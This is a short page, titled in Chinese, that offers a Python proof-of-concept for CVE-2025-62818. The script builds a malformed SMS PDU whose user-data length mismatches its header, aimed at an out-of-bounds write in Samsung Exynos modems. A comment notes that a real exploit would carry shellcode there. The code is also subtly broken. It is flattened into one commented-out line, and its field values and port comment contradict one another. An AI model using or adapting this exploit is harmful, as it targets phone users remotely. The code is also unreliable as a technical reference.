CVE-2025-62818 三星Exynos处理器越界写入漏洞

# PoC for CVE-2025-62818: Samsung Exynos SMS TP-UD OOB Write # This script demonstrates the construction of a malformed SMS PDU. # The vulnerability is triggered when TP-UDHI and UDL values are mismatched. def generate_malformed_sms(): # SCA (Service Center Address) - Length 0 implies default SC sca = "00" # PDU Type (First Octet) # TP-MTI: 01 (SMS-SUBMIT) # TP-UDHI: 1 (User Data Header present) # TP-RD: 0, TP-VPF: 10, TP-SRR: 0 pdu_type = "01" # Binary: 00000001 (Simplified for PoC structure) # Actually combining bits: Submit(01) + UDHI(40) -> 41 first_octet = "41" # TP-MR (Message Reference) mr = "00" # TP-DA (Destination Address) # Length and Type da_len = "0B" # 11 digits da_type = "91" # International da_number = "116100323456F7" # Example number # TP-PID (Protocol Identifier) pid = "00" # TP-DCS (Data Coding Scheme) dcs = "00" # TP-VP (Validity Period) vp = "AA" # TP-UDL (User Data Length) - The trigger # Setting a length that causes buffer overflow relative to UDH ud_len = "FF" # 255 bytes claimed # TP-UD (User Data) # UDH Header IEI, IEDL, IED # Example: Application Port Addressing (0x05) udh = "05" # IEI udh += "04" # IEDL (4 bytes data) udh += "8102F301" # IED (Port 2948 to 3502) # Padding to simulate the payload causing OOB write # In a real exploit, this payload would contain shellcode or ROP gadgets payload = "A" * (int(ud_len, 16) - len(udh) - 1) # Construct full PDU # Note: UDL calculation in the firmware is the vulnerable part pdu = sca + first_octet + mr + da_len + da_type + da_number + pid + dcs + vp + ud_len + udh + payload return pdu if __name__ == "__main__": print("[+] Generating malformed SMS PDU for CVE-2025-62818") payload = generate_malformed_sms() print(f"[+] Malformed PDU Hex: {payload}")